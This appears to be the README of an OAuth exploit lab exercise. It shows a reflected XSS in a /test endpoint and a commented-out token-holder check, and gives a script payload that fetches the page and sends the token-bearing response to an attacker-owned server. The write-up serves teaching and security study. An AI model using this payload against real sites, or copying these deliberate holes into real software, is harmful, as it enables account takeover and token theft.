Skip to content
This repository was archived by the owner on Apr 13, 2026. It is now read-only.

Latest commit

 

History

History

README.md

Exercise 9

This is an exercise that exploits the xss vulnerability and weak user validation. The goal is to steal access token and access victim's resource.

Setup

$ git clone https://github.com/melonattacker/oauth-exploit-lab.git
$ cd oauth-exploit-lab/exercise/ex9
$ docker-compose up -d

URL

target URL
client http://localhost:10000
crawler http://localhost:10003

Account

username password
bob(attacker) hoge

Writeup

User account and token holder match validation is commented out in protectedServer/app.py.

    # user validation
    # if session.get('name') != res['name']:
    #     print('User and access token holder do not match.')
    #     return Response(status=401)

And xss vulnerability exists in client endpoint /test.

@app.route("/test", methods=["GET"])
def test():
    return f'''
        <p>Hello, {request.args.get('name')}</p>
    '''

The crawler logs in as tom, issues an access token, and visits the entered URL.

    await page.goto(base_url + '/login', {timeout: 3000});
    await page.type('#name', username);
    await page.type('#password', password);
    await page.click('#tag-login');
    await wait(1000);

    const client = await page.target().createCDPSession();
    const cookies = (await client.send('Network.getAllCookies')).cookies;

    // OAuth dance
    await page.goto(base_url, {timeout: 3000});
    await page.click('#tag-get-token');
    await wait(1000);
    redirect_url = redirect_url.replace('localhost', 'auth_server');
    await page.setCookie({name: 'session', value: cookies[0].value, domain: 'auth_server'});
    await page.goto(redirect_url, {timeout: 3000});
    await page.click('#tag-approve');
    await wait(1000);
    redirect_url = redirect_url.replace('localhost', 'client');
    await page.goto(redirect_url, {timeout: 3000});
    await wait(1000);

    // Visit input url
    await page.goto(url, {timeout: 3000});
    await wait(3000);
    await page.close();

Get the response containing the access token by having the crawler visit the following URL.

http://client:10000/test?name=<script>fetch("/").then(async(r) => {r = await r.text(); fetch(`<attacker-owned server>?q=${encodeURIComponent(r)}`)})</script>

スクリーンショット 2022-09-21 0 09 44

Login as bob(attacker) and access bob(victim)'s resource using tom's token. スクリーンショット 2022-09-21 0 19 19